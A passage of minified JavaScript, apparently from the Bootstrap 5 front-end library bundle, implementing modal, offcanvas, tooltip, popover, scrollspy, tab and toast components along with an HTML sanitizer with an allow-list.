t=on.trigger(this._element,vo,{relatedTarget:e});t.defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(_o),this._adjustDialog(),this._backdrop.show(()=>this._showElement(e)))}hide(){if(!this._isShown||this._isTransitioning)return;const e=on.trigger(this._element,fo);e.defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(Co),this._queueCallback(()=>this._hideModal(),this._element,this._isAnimated()))}dispose(){on.off(window,so),on.off(this._dialog,so),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new Ua({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new eo({trapElement:this._element})}_showElement(e){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display=\"block\",this._element.removeAttribute(\"aria-hidden\"),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.scrollTop=0;const t=vn.findOne(To,this._dialog);t&&(t.scrollTop=0),Dt(this._element),this._element.classList.add(Co);const n=()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,on.trigger(this._element,mo,{relatedTarget:e})};this._queueCallback(n,this._dialog,this._isAnimated())}_addEventListeners(){on.on(this._element,$o,e=>{e.key===co&&(this._config.keyboard?this.hide():this._triggerBackdropTransition())}),on.on(window,go,()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()}),on.on(this._element,bo,e=>{on.one(this._element,yo,t=>{this._element===e.target&&this._element===t.target&&(\"static\"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())})})}_hideModal(){this._element.style.display=\"none\",this._element.setAttribute(\"aria-hidden\",!0),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove(_o),this._resetAdjustments(),this._scrollBar.reset(),on.trigger(this._element,ho)})}_isAnimated(){return this._element.classList.contains(ko)}_triggerBackdropTransition(){const e=on.trigger(this._element,po);if(e.defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,n=this._element.style.overflowY;\"hidden\"===n||this._element.classList.contains(xo)||(t||(this._element.style.overflowY=\"hidden\"),this._element.classList.add(xo),this._queueCallback(()=>{this._element.classList.remove(xo),this._queueCallback(()=>{this._element.style.overflowY=n},this._dialog)},this._dialog),this._element.focus())}_adjustDialog(){const e=this._element.scrollHeight>document.documentElement.clientHeight,t=this._scrollBar.getWidth(),n=t>0;if(n&&!e){const e=It()?\"paddingLeft\":\"paddingRight\";this._element.style[e]=`${t}px`}if(!n&&e){const e=It()?\"paddingRight\":\"paddingLeft\";this._element.style[e]=`${t}px`}}_resetAdjustments(){this._element.style.paddingLeft=\"\",this._element.style.paddingRight=\"\"}static jQueryInterface(e,t){return this.each(function(){const n=Ao.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(\"undefined\"===typeof n[e])throw new TypeError(`No method named \"${e}\"`);n[e](t)}})}}on.on(document,wo,Ro,function(e){const t=vn.getElementFromSelector(this);[\"A\",\"AREA\"].includes(this.tagName)&&e.preventDefault(),on.one(t,vo,e=>{e.defaultPrevented||on.one(t,ho,()=>{Rt(this)&&this.focus()})});const n=vn.findOne(So);n&&Ao.getInstance(n).hide();const r=Ao.getOrCreateInstance(t);r.toggle(this)}),mn(Ao),Nt(Ao);const Do=\"offcanvas\",Wo=\"bs.offcanvas\",Bo=`.${Wo}`,Po=\".data-api\",Io=`load${Bo}${Po}`,No=\"Escape\",Lo=\"show\",jo=\"showing\",Fo=\"hiding\",Vo=\"offcanvas-backdrop\",Uo=\".offcanvas.show\",Xo=`show${Bo}`,Ho=`shown${Bo}`,Go=`hide${Bo}`,Yo=`hidePrevented${Bo}`,zo=`hidden${Bo}`,Ko=`resize${Bo}`,qo=`click${Bo}${Po}`,Qo=`keydown.dismiss${Bo}`,Zo='[data-bs-toggle=\"offcanvas\"]',Jo={backdrop:!0,keyboard:!0,scroll:!1},ei={backdrop:\"(boolean|string)\",keyboard:\"boolean\",scroll:\"boolean\"};class ti extends pn{constructor(e,t){super(e,t),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return Jo}static get DefaultType(){return ei}static get NAME(){return Do}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){if(this._isShown)return;const t=on.trigger(this._element,Xo,{relatedTarget:e});if(t.defaultPrevented)return;this._isShown=!0,this._backdrop.show(),this._config.scroll||(new oo).hide(),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.classList.add(jo);const n=()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add(Lo),this._element.classList.remove(jo),on.trigger(this._element,Ho,{relatedTarget:e})};this._queueCallback(n,this._element,!0)}hide(){if(!this._isShown)return;const e=on.trigger(this._element,Go);if(e.defaultPrevented)return;this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add(Fo),this._backdrop.hide();const t=()=>{this._element.classList.remove(Lo,Fo),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._config.scroll||(new oo).reset(),on.trigger(this._element,zo)};this._queueCallback(t,this._element,!0)}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const e=()=>{\"static\"!==this._config.backdrop?this.hide():on.trigger(this._element,Yo)},t=Boolean(this._config.backdrop);return new Ua({className:Vo,isVisible:t,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:t?e:null})}_initializeFocusTrap(){return new eo({trapElement:this._element})}_addEventListeners(){on.on(this._element,Qo,e=>{e.key===No&&(this._config.keyboard?this.hide():on.trigger(this._element,Yo))})}static jQueryInterface(e){return this.each(function(){const t=ti.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(void 0===t[e]||e.startsWith(\"_\")||\"constructor\"===e)throw new TypeError(`No method named \"${e}\"`);t[e](this)}})}}on.on(document,qo,Zo,function(e){const t=vn.getElementFromSelector(this);if([\"A\",\"AREA\"].includes(this.tagName)&&e.preventDefault(),Ot(this))return;on.one(t,zo,()=>{Rt(this)&&this.focus()});const n=vn.findOne(Uo);n&&n!==t&&ti.getInstance(n).hide();const r=ti.getOrCreateInstance(t);r.toggle(this)}),on.on(window,Io,()=>{for(const e of vn.find(Uo))ti.getOrCreateInstance(e).show()}),on.on(window,Ko,()=>{for(const e of vn.find(\"[aria-modal][class*=show][class*=offcanvas-]\"))\"fixed\"!==getComputedStyle(e).position&&ti.getOrCreateInstance(e).hide()}),mn(ti),Nt(ti);const ni=\u002F^aria-[\\w-]*$\u002Fi,ri={\"*\":[\"class\",\"dir\",\"id\",\"lang\",\"role\",ni],a:[\"target\",\"href\",\"title\",\"rel\"],area:[],b:[],br:[],col:[],code:[],dd:[],div:[],dl:[],dt:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:[\"src\",\"srcset\",\"alt\",\"title\",\"width\",\"height\"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},ai=new Set([\"background\",\"cite\",\"href\",\"itemtype\",\"longdesc\",\"poster\",\"src\",\"xlink:href\"]),oi=\u002F^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:\u002F?#]*(?:[\u002F?#]|$))\u002Fi,ii=(e,t)=>{const n=e.nodeName.toLowerCase();return t.includes(n)?!ai.has(n)||Boolean(oi.test(e.nodeValue)):t.filter(e=>e instanceof RegExp).some(e=>e.test(n))};function li(e,t,n){if(!e.length)return e;if(n&&\"function\"===typeof n)return n(e);const r=new window.DOMParser,a=r.parseFromString(e,\"text\u002Fhtml\"),o=[].concat(...a.body.querySelectorAll(\"*\"));for(const i of o){const e=i.nodeName.toLowerCase();if(!Object.keys(t).includes(e)){i.remove();continue}const n=[].concat(...i.attributes),r=[].concat(t[\"*\"]||[],t[e]||[]);for(const t of n)ii(t,r)||i.removeAttribute(t.nodeName)}return a.body.innerHTML}const si=\"TemplateFactory\",ui={allowList:ri,content:{},extraClass:\"\",html:!1,sanitize:!0,sanitizeFn:null,template:\"\u003Cdiv>\u003C\u002Fdiv>\"},di={allowList:\"object\",content:\"object\",extraClass:\"(string|function)\",html:\"boolean\",sanitize:\"boolean\",sanitizeFn:\"(null|function)\",template:\"string\"},ci={entry:\"(string|element|function|null)\",selector:\"(string|element)\"};class fi extends cn{constructor(e){super(),this._config=this._getConfig(e)}static get Default(){return ui}static get DefaultType(){return di}static get NAME(){return si}getContent(){return Object.values(this._config.content).map(e=>this._resolvePossibleFunction(e)).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(e){return this._checkContent(e),this._config.content={...this._config.content,...e},this}toHtml(){const e=document.createElement(\"div\");e.innerHTML=this._maybeSanitize(this._config.template);for(const[r,a]of Object.entries(this._config.content))this._setContent(e,a,r);const t=e.children[0],n=this._resolvePossibleFunction(this._config.extraClass);return n&&t.classList.add(...n.split(\" \")),t}_typeCheckConfig(e){super._typeCheckConfig(e),this._checkContent(e.content)}_checkContent(e){for(const[t,n]of Object.entries(e))super._typeCheckConfig({selector:t,entry:n},ci)}_setContent(e,t,n){const r=vn.findOne(n,e);r&&(t=this._resolvePossibleFunction(t),t?Et(t)?this._putElementInTemplate(Tt(t),r):this._config.html?r.innerHTML=this._maybeSanitize(t):r.textContent=t:r.remove())}_maybeSanitize(e){return this._config.sanitize?li(e,this._config.allowList,this._config.sanitizeFn):e}_resolvePossibleFunction(e){return Lt(e,[void 0,this])}_putElementInTemplate(e,t){if(this._config.html)return t.innerHTML=\"\",void t.append(e);t.textContent=e.textContent}}const pi=\"tooltip\",hi=new Set([\"sanitize\",\"allowList\",\"sanitizeFn\"]),vi=\"fade\",mi=\"modal\",gi=\"show\",yi=\".tooltip-inner\",bi=`.${mi}`,$i=\"hide.bs.modal\",wi=\"hover\",_i=\"focus\",ki=\"click\",Ci=\"manual\",xi=\"hide\",Si=\"hidden\",Ei=\"show\",Ti=\"shown\",Ri=\"inserted\",Oi=\"click\",Mi=\"focusin\",Ai=\"focusout\",Di=\"mouseenter\",Wi=\"mouseleave\",Bi={AUTO:\"auto\",TOP:\"top\",RIGHT:It()?\"left\":\"right\",BOTTOM:\"bottom\",LEFT:It()?\"right\":\"left\"},Pi={allowList:ri,animation:!0,boundary:\"clippingParents\",container:!1,customClass:\"\",delay:0,fallbackPlacements:[\"top\",\"right\",\"bottom\",\"left\"],html:!1,offset:[0,6],placement:\"top\",popperConfig:null,sanitize:!0,sanitizeFn:null,selector:!1,template:'\u003Cdiv class=\"tooltip\" role=\"tooltip\">\u003Cdiv class=\"tooltip-arrow\">\u003C\u002Fdiv>\u003Cdiv class=\"tooltip-inner\">\u003C\u002Fdiv>\u003C\u002Fdiv>',title:\"\",trigger:\"hover focus\"},Ii={allowList:\"object\",animation:\"boolean\",boundary:\"(string|element)\",container:\"(string|element|boolean)\",customClass:\"(string|function)\",delay:\"(number|object)\",fallbackPlacements:\"array\",html:\"boolean\",offset:\"(array|string|function)\",placement:\"(string|function)\",popperConfig:\"(null|object|function)\",sanitize:\"boolean\",sanitizeFn:\"(null|function)\",selector:\"(string|boolean)\",template:\"string\",title:\"(string|element|function)\",trigger:\"string\"};class Ni extends pn{constructor(e,t){if(\"undefined\"===typeof r)throw new TypeError(\"Bootstrap's tooltips require Popper (https:\u002F\u002Fpopper.js.org\u002Fdocs\u002Fv2\u002F)\");super(e,t),this._isEnabled=!0,this._timeout=0,this._isHovered=null,this._activeTrigger={},this._popper=null,this._templateFactory=null,this._newContent=null,this.tip=null,this._setListeners(),this._config.selector||this._fixTitle()}static get Default(){return Pi}static get DefaultType(){return Ii}static get NAME(){return pi}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(){this._isEnabled&&(this._isShown()?this._leave():this._enter())}dispose(){clearTimeout(this._timeout),on.off(this._element.closest(bi),$i,this._hideModalHandler),this._element.getAttribute(\"data-bs-original-title\")&&this._element.setAttribute(\"title\",this._element.getAttribute(\"data-bs-original-title\")),this._disposePopper(),super.dispose()}show(){if(\"none\"===this._element.style.display)throw new Error(\"Please use show on visible elements\");if(!this._isWithContent()||!this._isEnabled)return;const e=on.trigger(this._element,this.constructor.eventName(Ei)),t=Mt(this._element),n=(t||this._element.ownerDocument.documentElement).contains(this._element);if(e.defaultPrevented||!n)return;this._disposePopper();const r=this._getTipElement();this._element.setAttribute(\"aria-describedby\",r.getAttribute(\"id\"));const{container:a}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(a.append(r),on.trigger(this._element,this.constructor.eventName(Ri))),this._popper=this._createPopper(r),r.classList.add(gi),\"ontouchstart\"in document.documentElement)for(const i of[].concat(...document.body.children))on.on(i,\"mouseover\",At);const o=()=>{on.trigger(this._element,this.constructor.eventName(Ti)),!1===this._isHovered&&this._leave(),this._isHovered=!1};this._queueCallback(o,this.tip,this._isAnimated())}hide(){if(!this._isShown())return;const e=on.trigger(this._element,this.constructor.eventName(xi));if(e.defaultPrevented)return;const t=this._getTipElement();if(t.classList.remove(gi),\"ontouchstart\"in document.documentElement)for(const r of[].concat(...document.body.children))on.off(r,\"mouseover\",At);this._activeTrigger[ki]=!1,this._activeTrigger[_i]=!1,this._activeTrigger[wi]=!1,this._isHovered=null;const n=()=>{this._isWithActiveTrigger()||(this._isHovered||this._disposePopper(),this._element.removeAttribute(\"aria-describedby\"),on.trigger(this._element,this.constructor.eventName(Si)))};this._queueCallback(n,this.tip,this._isAnimated())}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._newContent||this._getContentForTemplate())),this.tip}_createTipElement(e){const t=this._getTemplateFactory(e).toHtml();if(!t)return null;t.classList.remove(vi,gi),t.classList.add(`bs-${this.constructor.NAME}-auto`);const n=Ct(this.constructor.NAME).toString();return t.setAttribute(\"id\",n),this._isAnimated()&&t.classList.add(vi),t}setContent(e){this._newContent=e,this._isShown()&&(this._disposePopper(),this.show())}_getTemplateFactory(e){return this._templateFactory?this._templateFactory.changeContent(e):this._templateFactory=new fi({...this._config,content:e,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{[yi]:this._getTitle()}}_getTitle(){return this._resolvePossibleFunction(this._config.title)||this._element.getAttribute(\"data-bs-original-title\")}_initializeOnDelegatedTarget(e){return this.constructor.getOrCreateInstance(e.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(vi)}_isShown(){return this.tip&&this.tip.classList.contains(gi)}_createPopper(e){const t=Lt(this._config.placement,[this,e,this._element]),n=Bi[t.toUpperCase()];return ht(this._element,e,this._getPopperConfig(n))}_getOffset(){const{offset:e}=this._config;return\"string\"===typeof e?e.split(\",\").map(e=>Number.parseInt(e,10)):\"function\"===typeof e?t=>e(t,this._element):e}_resolvePossibleFunction(e){return Lt(e,[this._element,this._element])}_getPopperConfig(e){const t={placement:e,modifiers:[{name:\"flip\",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:\"offset\",options:{offset:this._getOffset()}},{name:\"preventOverflow\",options:{boundary:this._config.boundary}},{name:\"arrow\",options:{element:`.${this.constructor.NAME}-arrow`}},{name:\"preSetPlacement\",enabled:!0,phase:\"beforeMain\",fn:e=>{this._getTipElement().setAttribute(\"data-popper-placement\",e.state.placement)}}]};return{...t,...Lt(this._config.popperConfig,[void 0,t])}}_setListeners(){const e=this._config.trigger.split(\" \");for(const t of e)if(\"click\"===t)on.on(this._element,this.constructor.eventName(Oi),this._config.selector,e=>{const t=this._initializeOnDelegatedTarget(e);t._activeTrigger[ki]=!(t._isShown()&&t._activeTrigger[ki]),t.toggle()});else if(t!==Ci){const e=t===wi?this.constructor.eventName(Di):this.constructor.eventName(Mi),n=t===wi?this.constructor.eventName(Wi):this.constructor.eventName(Ai);on.on(this._element,e,this._config.selector,e=>{const t=this._initializeOnDelegatedTarget(e);t._activeTrigger[\"focusin\"===e.type?_i:wi]=!0,t._enter()}),on.on(this._element,n,this._config.selector,e=>{const t=this._initializeOnDelegatedTarget(e);t._activeTrigger[\"focusout\"===e.type?_i:wi]=t._element.contains(e.relatedTarget),t._leave()})}this._hideModalHandler=()=>{this._element&&this.hide()},on.on(this._element.closest(bi),$i,this._hideModalHandler)}_fixTitle(){const e=this._element.getAttribute(\"title\");e&&(this._element.getAttribute(\"aria-label\")||this._element.textContent.trim()||this._element.setAttribute(\"aria-label\",e),this._element.setAttribute(\"data-bs-original-title\",e),this._element.removeAttribute(\"title\"))}_enter(){this._isShown()||this._isHovered?this._isHovered=!0:(this._isHovered=!0,this._setTimeout(()=>{this._isHovered&&this.show()},this._config.delay.show))}_leave(){this._isWithActiveTrigger()||(this._isHovered=!1,this._setTimeout(()=>{this._isHovered||this.hide()},this._config.delay.hide))}_setTimeout(e,t){clearTimeout(this._timeout),this._timeout=setTimeout(e,t)}_isWithActiveTrigger(){return Object.values(this._activeTrigger).includes(!0)}_getConfig(e){const t=dn.getDataAttributes(this._element);for(const n of Object.keys(t))hi.has(n)&&delete t[n];return e={...t,...\"object\"===typeof e&&e?e:{}},e=this._mergeConfigObj(e),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}_configAfterMerge(e){return e.container=!1===e.container?document.body:Tt(e.container),\"number\"===typeof e.delay&&(e.delay={show:e.delay,hide:e.delay}),\"number\"===typeof e.title&&(e.title=e.title.toString()),\"number\"===typeof e.content&&(e.content=e.content.toString()),e}_getDelegateConfig(){const e={};for(const[t,n]of Object.entries(this._config))this.constructor.Default[t]!==n&&(e[t]=n);return e.selector=!1,e.trigger=\"manual\",e}_disposePopper(){this._popper&&(this._popper.destroy(),this._popper=null),this.tip&&(this.tip.remove(),this.tip=null)}static jQueryInterface(e){return this.each(function(){const t=Ni.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(\"undefined\"===typeof t[e])throw new TypeError(`No method named \"${e}\"`);t[e]()}})}}Nt(Ni);const Li=\"popover\",ji=\".popover-header\",Fi=\".popover-body\",Vi={...Ni.Default,content:\"\",offset:[0,8],placement:\"right\",template:'\u003Cdiv class=\"popover\" role=\"tooltip\">\u003Cdiv class=\"popover-arrow\">\u003C\u002Fdiv>\u003Ch3 class=\"popover-header\">\u003C\u002Fh3>\u003Cdiv class=\"popover-body\">\u003C\u002Fdiv>\u003C\u002Fdiv>',trigger:\"click\"},Ui={...Ni.DefaultType,content:\"(null|string|element|function)\"};class Xi extends Ni{static get Default(){return Vi}static get DefaultType(){return Ui}static get NAME(){return Li}_isWithContent(){return this._getTitle()||this._getContent()}_getContentForTemplate(){return{[ji]:this._getTitle(),[Fi]:this._getContent()}}_getContent(){return this._resolvePossibleFunction(this._config.content)}static jQueryInterface(e){return this.each(function(){const t=Xi.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(\"undefined\"===typeof t[e])throw new TypeError(`No method named \"${e}\"`);t[e]()}})}}Nt(Xi);const Hi=\"scrollspy\",Gi=\"bs.scrollspy\",Yi=`.${Gi}`,zi=\".data-api\",Ki=`activate${Yi}`,qi=`click${Yi}`,Qi=`load${Yi}${zi}`,Zi=\"dropdown-item\",Ji=\"active\",el='[data-bs-spy=\"scroll\"]',tl=\"[href]\",nl=\".nav, .list-group\",rl=\".nav-link\",al=\".nav-item\",ol=\".list-group-item\",il=`${rl}, ${al} > ${rl}, ${ol}`,ll=\".dropdown\",sl=\".dropdown-toggle\",ul={offset:null,rootMargin:\"0px 0px -25%\",smoothScroll:!1,target:null,threshold:[.1,.5,1]},dl={offset:\"(number|null)\",rootMargin:\"string\",smoothScroll:\"boolean\",target:\"element\",threshold:\"array\"};class cl extends pn{constructor(e,t){super(e,t),this._targetLinks=new Map,this._observableSections=new Map,this._rootElement=\"visible\"===getComputedStyle(this._element).overflowY?null:this._element,this._activeTarget=null,this._observer=null,this._previousScrollData={visibleEntryTop:0,parentScrollTop:0},this.refresh()}static get Default(){return ul}static get DefaultType(){return dl}static get NAME(){return Hi}refresh(){this._initializeTargetsAndObservables(),this._maybeEnableSmoothScroll(),this._observer?this._observer.disconnect():this._observer=this._getNewObserver();for(const e of this._observableSections.values())this._observer.observe(e)}dispose(){this._observer.disconnect(),super.dispose()}_configAfterMerge(e){return e.target=Tt(e.target)||document.body,e.rootMargin=e.offset?`${e.offset}px 0px -30%`:e.rootMargin,\"string\"===typeof e.threshold&&(e.threshold=e.threshold.split(\",\").map(e=>Number.parseFloat(e))),e}_maybeEnableSmoothScroll(){this._config.smoothScroll&&(on.off(this._config.target,qi),on.on(this._config.target,qi,tl,e=>{const t=this._observableSections.get(e.target.hash);if(t){e.preventDefault();const n=this._rootElement||window,r=t.offsetTop-this._element.offsetTop;if(n.scrollTo)return void n.scrollTo({top:r,behavior:\"smooth\"});n.scrollTop=r}}))}_getNewObserver(){const e={root:this._rootElement,threshold:this._config.threshold,rootMargin:this._config.rootMargin};return new IntersectionObserver(e=>this._observerCallback(e),e)}_observerCallback(e){const t=e=>this._targetLinks.get(`#${e.target.id}`),n=e=>{this._previousScrollData.visibleEntryTop=e.target.offsetTop,this._process(t(e))},r=(this._rootElement||document.documentElement).scrollTop,a=r>=this._previousScrollData.parentScrollTop;this._previousScrollData.parentScrollTop=r;for(const o of e){if(!o.isIntersecting){this._activeTarget=null,this._clearActiveClass(t(o));continue}const e=o.target.offsetTop>=this._previousScrollData.visibleEntryTop;if(a&&e){if(n(o),!r)return}else a||e||n(o)}}_initializeTargetsAndObservables(){this._targetLinks=new Map,this._observableSections=new Map;const e=vn.find(tl,this._config.target);for(const t of e){if(!t.hash||Ot(t))continue;const e=vn.findOne(decodeURI(t.hash),this._element);Rt(e)&&(this._targetLinks.set(decodeURI(t.hash),t),this._observableSections.set(t.hash,e))}}_process(e){this._activeTarget!==e&&(this._clearActiveClass(this._config.target),this._activeTarget=e,e.classList.add(Ji),this._activateParents(e),on.trigger(this._element,Ki,{relatedTarget:e}))}_activateParents(e){if(e.classList.contains(Zi))vn.findOne(sl,e.closest(ll)).classList.add(Ji);else for(const t of vn.parents(e,nl))for(const e of vn.prev(t,il))e.classList.add(Ji)}_clearActiveClass(e){e.classList.remove(Ji);const t=vn.find(`${tl}.${Ji}`,e);for(const n of t)n.classList.remove(Ji)}static jQueryInterface(e){return this.each(function(){const t=cl.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(void 0===t[e]||e.startsWith(\"_\")||\"constructor\"===e)throw new TypeError(`No method named \"${e}\"`);t[e]()}})}}on.on(window,Qi,()=>{for(const e of vn.find(el))cl.getOrCreateInstance(e)}),Nt(cl);const fl=\"tab\",pl=\"bs.tab\",hl=`.${pl}`,vl=`hide${hl}`,ml=`hidden${hl}`,gl=`show${hl}`,yl=`shown${hl}`,bl=`click${hl}`,$l=`keydown${hl}`,wl=`load${hl}`,_l=\"ArrowLeft\",kl=\"ArrowRight\",Cl=\"ArrowUp\",xl=\"ArrowDown\",Sl=\"Home\",El=\"End\",Tl=\"active\",Rl=\"fade\",Ol=\"show\",Ml=\"dropdown\",Al=\".dropdown-toggle\",Dl=\".dropdown-menu\",Wl=`:not(${Al})`,Bl='.list-group, .nav, [role=\"tablist\"]',Pl=\".nav-item, .list-group-item\",Il=`.nav-link${Wl}, .list-group-item${Wl}, [role=\"tab\"]${Wl}`,Nl='[data-bs-toggle=\"tab\"], [data-bs-toggle=\"pill\"], [data-bs-toggle=\"list\"]',Ll=`${Il}, ${Nl}`,jl=`.${Tl}[data-bs-toggle=\"tab\"], .${Tl}[data-bs-toggle=\"pill\"], .${Tl}[data-bs-toggle=\"list\"]`;class Fl extends pn{constructor(e){super(e),this._parent=this._element.closest(Bl),this._parent&&(this._setInitialAttributes(this._parent,this._getChildren()),on.on(this._element,$l,e=>this._keydown(e)))}static get NAME(){return fl}show(){const e=this._element;if(this._elemIsActive(e))return;const t=this._getActiveElem(),n=t?on.trigger(t,vl,{relatedTarget:e}):null,r=on.trigger(e,gl,{relatedTarget:t});r.defaultPrevented||n&&n.defaultPrevented||(this._deactivate(t,e),this._activate(e,t))}_activate(e,t){if(!e)return;e.classList.add(Tl),this._activate(vn.getElementFromSelector(e));const n=()=>{\"tab\"===e.getAttribute(\"role\")?(e.removeAttribute(\"tabindex\"),e.setAttribute(\"aria-selected\",!0),this._toggleDropDown(e,!0),on.trigger(e,yl,{relatedTarget:t})):e.classList.add(Ol)};this._queueCallback(n,e,e.classList.contains(Rl))}_deactivate(e,t){if(!e)return;e.classList.remove(Tl),e.blur(),this._deactivate(vn.getElementFromSelector(e));const n=()=>{\"tab\"===e.getAttribute(\"role\")?(e.setAttribute(\"aria-selected\",!1),e.setAttribute(\"tabindex\",\"-1\"),this._toggleDropDown(e,!1),on.trigger(e,ml,{relatedTarget:t})):e.classList.remove(Ol)};this._queueCallback(n,e,e.classList.contains(Rl))}_keydown(e){if(![_l,kl,Cl,xl,Sl,El].includes(e.key))return;e.stopPropagation(),e.preventDefault();const t=this._getChildren().filter(e=>!Ot(e));let n;if([Sl,El].includes(e.key))n=t[e.key===Sl?0:t.length-1];else{const r=[kl,xl].includes(e.key);n=Ft(t,e.target,r,!0)}n&&(n.focus({preventScroll:!0}),Fl.getOrCreateInstance(n).show())}_getChildren(){return vn.find(Ll,this._parent)}_getActiveElem(){return this._getChildren().find(e=>this._elemIsActive(e))||null}_setInitialAttributes(e,t){this._setAttributeIfNotExists(e,\"role\",\"tablist\");for(const n of t)this._setInitialAttributesOnChild(n)}_setInitialAttributesOnChild(e){e=this._getInnerElement(e);const t=this._elemIsActive(e),n=this._getOuterElement(e);e.setAttribute(\"aria-selected\",t),n!==e&&this._setAttributeIfNotExists(n,\"role\",\"presentation\"),t||e.setAttribute(\"tabindex\",\"-1\"),this._setAttributeIfNotExists(e,\"role\",\"tab\"),this._setInitialAttributesOnTargetPanel(e)}_setInitialAttributesOnTargetPanel(e){const t=vn.getElementFromSelector(e);t&&(this._setAttributeIfNotExists(t,\"role\",\"tabpanel\"),e.id&&this._setAttributeIfNotExists(t,\"aria-labelledby\",`${e.id}`))}_toggleDropDown(e,t){const n=this._getOuterElement(e);if(!n.classList.contains(Ml))return;const r=(e,r)=>{const a=vn.findOne(e,n);a&&a.classList.toggle(r,t)};r(Al,Tl),r(Dl,Ol),n.setAttribute(\"aria-expanded\",t)}_setAttributeIfNotExists(e,t,n){e.hasAttribute(t)||e.setAttribute(t,n)}_elemIsActive(e){return e.classList.contains(Tl)}_getInnerElement(e){return e.matches(Ll)?e:vn.findOne(Ll,e)}_getOuterElement(e){return e.closest(Pl)||e}static jQueryInterface(e){return this.each(function(){const t=Fl.getOrCreateInstance(this);if(\"string\"===typeof e){if(void 0===t[e]||e.startsWith(\"_\")||\"constructor\"===e)throw new TypeError(`No method named \"${e}\"`);t[e]()}})}}on.on(document,bl,Nl,function(e){[\"A\",\"AREA\"].includes(this.tagName)&&e.preventDefault(),Ot(this)||Fl.getOrCreateInstance(this).show()}),on.on(window,wl,()=>{for(const e of vn.find(jl))Fl.getOrCreateInstance(e)}),Nt(Fl);const Vl=\"toast\",Ul=\"bs.toast\",Xl=`.${Ul}`,Hl=`mouseover${Xl}`,Gl=`mouseout${Xl}`,Yl=`focusin${Xl}`,zl=`focusout${Xl}`,Kl=`hide${Xl}`,ql=`hidden${Xl}`,Ql=`show${Xl}`,Zl=`shown${Xl}`,Jl=\"fade\",es=\"hide\",ts=\"show\",ns=\"showing\",rs={animation:\"boolean\",autohide:\"boolean\",delay:\"number\"},as={animation:!0,autohide:!0,delay:5e3};class os extends pn{constructor(e,t){super(e,t),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get Default(){return as}static get DefaultType(){return rs}static get NAME(){return Vl}show(){const e=on.trigger(this._element,Ql);if(e.defaultPrevented)return;this._clearTimeout(),this._config.animation&&this._element.classList.add(Jl);const t=()=>{this._element.classList.remove(ns),on.trigger(this._element,Zl),this._maybeScheduleHide()};this._element.classList.remove(es),Dt(this._element),this._element.classList.add(ts,ns),this._queueCallback(t,this._element,this._config.animation)}hide(){if(!this.isShown())return;const e=on.trigger(this._element,Kl);if(e.defaultPrevented)return;const t=()=>{this._element.classList.add(es),this._element.classList.remove(ns,ts),on.trigger(this._element,ql)};this._element.classList.add(ns),this._queueCallback(t,this._element,this._config.animation)}dispose(){this._clearTimeout(),this.isShown()&&this._element.classList.remove(ts),super.dispose()}isShown(){return this._element.classList.contains(ts)}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout(()=>{this.hide()},this._config.delay)))}_onInteraction(e,t){switch(e.type){case\"mouseover\":case\"mouseout\":this._hasMouseInteraction=t;break;case\"focusin\":case\"focusout\":this._hasKeyboardInteraction=t;break}if(t)return void this._clearTimeout();const n=e.relatedTarget;this._element===n||this._element.contains(n)||this._maybeScheduleHide()}_setListeners(){on.on(this._element,Hl,e=>this._onInteraction(e,!0)),on.on(this._element,Gl,e=>this._onInteraction(e,!1)),on.on(this._element,Yl,e=>this._onInteraction(e,!0)),on.on(this._element,zl,e=>this._onInteraction(e,!1))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(e){return this.each(function(){const t=os.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(\"undefined\"===typeof t[e])throw new TypeError(`No method named \"${e}\"`);t[e](this)}})}}mn(os),Nt(os);var is=Object.defineProperty,ls=(e,t,n)=>t in 